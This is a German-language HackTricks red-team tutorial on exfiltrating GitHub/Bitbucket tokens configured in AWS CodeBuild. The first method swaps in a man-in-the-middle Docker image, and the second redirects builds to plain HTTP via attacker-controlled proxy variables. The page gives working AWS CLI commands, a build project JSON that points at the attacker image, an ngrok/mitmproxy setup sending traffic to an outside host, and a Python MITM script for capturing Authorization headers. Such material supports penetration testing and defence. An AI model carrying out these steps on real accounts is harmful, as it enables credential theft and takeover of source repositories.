AWS Codebuild - Token Leakage

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Wiederherstellen von Github/Bitbucket konfigurierten Tokens

Überprüfen Sie zunächst, ob irgendwelche Quellzugangsdaten konfiguriert sind, die Sie möglicherweise preisgeben könnten:

aws codebuild list-source-credentials

Über Docker-Image

Wenn Sie feststellen, dass die Authentifizierung beispielsweise für Github im Konto festgelegt ist, können Sie diesen Zugriff (GH-Token oder OAuth-Token) durch Veranlassen von Codebuild, ein bestimmtes Docker-Image zur Ausführung des Projektaufbaus zu verwenden, exfiltrieren.

Zu diesem Zweck könnten Sie ein neues Codebuild-Projekt erstellen oder die Umgebung eines vorhandenen ändern, um das Docker-Image festzulegen.

Das Docker-Image, das Sie verwenden könnten, ist https://github.com/carlospolop/docker-mitm. Dies ist ein sehr grundlegendes Docker-Image, das die Umgebungsvariablen https_proxy, http_proxy und SSL_CERT_FILE festlegt. Dadurch können Sie den Großteil des Datenverkehrs des im https_proxy und http_proxy angegebenen Hosts abfangen und dem im SSL_CERT_FILE angegebenen SSL-Zertifikat vertrauen.

  1. Erstellen und Hochladen Ihres eigenen Docker MitM-Images

    • Befolgen Sie die Anweisungen des Repos, um Ihre Proxy-IP-Adresse festzulegen und Ihr SSL-Zertifikat zu setzen und bauen Sie das Docker-Image.

    • SETZEN SIE NICHT http_proxy, um Anfragen an den Metadaten-Endpunkt nicht abzufangen.

    • Sie könnten ngrok wie ngrok tcp 4444 verwenden, um den Proxy zu Ihrem Host zu setzen.

    • Sobald Sie das Docker-Image erstellt haben, laden Sie es in ein öffentliches Repo hoch (Dockerhub, ECR...).

  2. Setzen der Umgebung

    • Erstellen Sie ein neues Codebuild-Projekt oder ändern Sie die Umgebung eines vorhandenen.

    • Legen Sie das Projekt fest, um das zuvor generierte Docker-Image zu verwenden.

  1. Setzen Sie den MitM-Proxy in Ihrem Host

    • Wie im Github-Repo angegeben, könnten Sie etwas Ähnliches verwenden:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

Die mitmproxy-Version, die verwendet wurde, war 9.0.1, es wurde berichtet, dass dies mit Version 10 möglicherweise nicht funktioniert.

  1. Führen Sie den Build aus und erfassen Sie die Anmeldeinformationen

  • Sie können das Token im Autorisierungs-Header sehen:

Dies könnte auch über die AWS-CLI mit etwas Ähnlichem durchgeführt werden

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Über das HTTP-Protokoll

Diese Schwachstelle wurde von AWS irgendwann in der Woche vom 20. Februar 2023 behoben (ich glaube am Freitag). Ein Angreifer kann sie also nicht mehr ausnutzen :)

Ein Angreifer mit erhöhten Berechtigungen in einem CodeBuild könnte das konfigurierte Github/Bitbucket-Token offenlegen oder, wenn die Berechtigungen über OAuth konfiguriert wurden, das temporäre OAuth-Token, das zum Zugriff auf den Code verwendet wird.

  • Ein Angreifer könnte die Umgebungsvariablen http_proxy und https_proxy zum CodeBuild-Projekt hinzufügen, die auf seine eigene Maschine verweisen (zum Beispiel http://5.tcp.eu.ngrok.io:14972).

  • Ändern Sie dann die URL des Github-Repositorys, um HTTP anstelle von HTTPS zu verwenden, zum Beispiel: **http://**github.com/carlospolop-forks/TestActions

  • Führen Sie dann das Grundbeispiel von https://github.com/synchronizing/mitm auf dem vom Proxy-Variablen (http_proxy und https_proxy) angegebenen Port aus.

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Klicken Sie abschließend auf Projekt erstellen, die Anmeldeinformationen werden im Klartext (base64) an den mitm-Port gesendet:

Nun kann ein Angreifer das Token von seinem Gerät aus nutzen, um alle Berechtigungen aufzulisten und einfacher zu (miss)brauchen als bei direkter Nutzung des CodeBuild-Dienstes.

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated